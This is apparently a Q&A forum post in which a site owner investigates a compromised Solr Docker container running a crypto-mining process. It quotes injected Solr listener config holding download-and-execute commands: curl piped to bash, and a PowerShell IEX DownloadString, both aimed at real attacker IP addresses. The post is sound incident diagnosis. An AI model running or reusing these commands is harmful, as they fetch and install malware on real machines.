title: SolrException: Error loading class 'solr.RunExecutableListener' + '/var/tmp/sustes' process
body: <p>Prehistory:</p>
  
  <ol>
  <li>My friend's site started to work slowly.</li>
  <li>This site uses <code>docker</code>.</li>
  <li><code>htop</code> told me that all cores loaded on 100% by the process <code>/var/tmp/sustes</code> with the user <code>8983</code>. Tried to find out what is <code>sustes</code>, but Google did not help, but <code>8983</code> tells that the problem in <code>Solr</code> container.</li>
  <li><p>Tried to update <code>Solr</code> from v6.? to 7.4 and got the message:</p>
  
  <p><code>o.a.s.c.SolrCore Error while closing
  ...
  Caused by: org.apache.solr.common.SolrException: Error loading class 
  'solr.RunExecutableListener'</code></p>
  
  <p>Rolled back to v6.6.4 (as the only available v6 on docker-hub <a href="https://hub.docker.com/_/solr/" rel="nofollow noreferrer">https://hub.docker.com/_/solr/</a>) as site should continue working.</p></li>
  <li><p>In <code>Docker</code>s logs I found:</p>
  
  <p><code>[x:default] o.a.s.c.S.SolrConfigHandler Executed config commands successfully and persited to File System [{"update-listener":{
  "exe":"sh",
  "name":"newlistener-02",
  "args":[
      -"c",
      "curl -s http://192.99.142.226:8220/mr.sh | bash -sh"],
  "event":"newSearcher",
  "class":"solr.RunExecutableListener",
  "dir":"/bin/"}}]</code></p></li>
  <li><p>So at <a href="http://192.99.142.226:8220/mr.sh" rel="nofollow noreferrer">http://192.99.142.226:8220/mr.sh</a> we can find the malware code which installs crypto miner (crypto miner config: <a href="http://192.99.142.226:8220/wt.conf" rel="nofollow noreferrer">http://192.99.142.226:8220/wt.conf</a>).</p></li>
  <li><p>Using the link <a href="http://example.com:8983/solr/YOUR_CORE_NAME/config" rel="nofollow noreferrer">http://example.com:8983/solr/YOUR_CORE_NAME/config</a> we can find full config, but right now we need just <code>listener</code> section:</p>
  
  <p><code>"listener":[{
      "event":"newSearcher",
      "class":"solr.QuerySenderListener",
      "queries":[]},
    {
      "event":"firstSearcher",
      "class":"solr.QuerySenderListener",
      "queries":[]},
    {
      "exe":"sh",
      "name":"newlistener-02",
      "args":["-c",
        "curl -s http://192.99.142.226:8220/mr.sh | bash -sh"],
      "event":"newSearcher",
      "class":"solr.RunExecutableListener",
      "dir":"/bin/"},
    {
      "exe":"sh",
      "name":"newlistener-25",
      "args":["-c",
        "curl -s http://192.99.142.226:8220/mr.sh | bash -sh"],
      "event":"newSearcher",
      "class":"solr.RunExecutableListener",
      "dir":"/bin/"},
    {
      "exe":"cmd.exe",
      "name":"newlistener-00",
      "args":["/c",
        "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.99.142.248:8220/1.ps1')"],
      "event":"newSearcher",
      "class":"solr.RunExecutableListener",
      "dir":"cmd.exe"}],</code></p></li>
  <li><p>As we do not have such settings at <code>solrconfig.xml</code>, I found them at <code>/opt/solr/server/solr/mycores/YOUR_CORE_NAME/conf/configoverlay.json</code> (the settings of this file can be found at <a href="http://example.com:8983/solr/YOUR_CORE_NAME/config/overlay" rel="nofollow noreferrer">http://example.com:8983/solr/YOUR_CORE_NAME/config/overlay</a></p></li>
  </ol>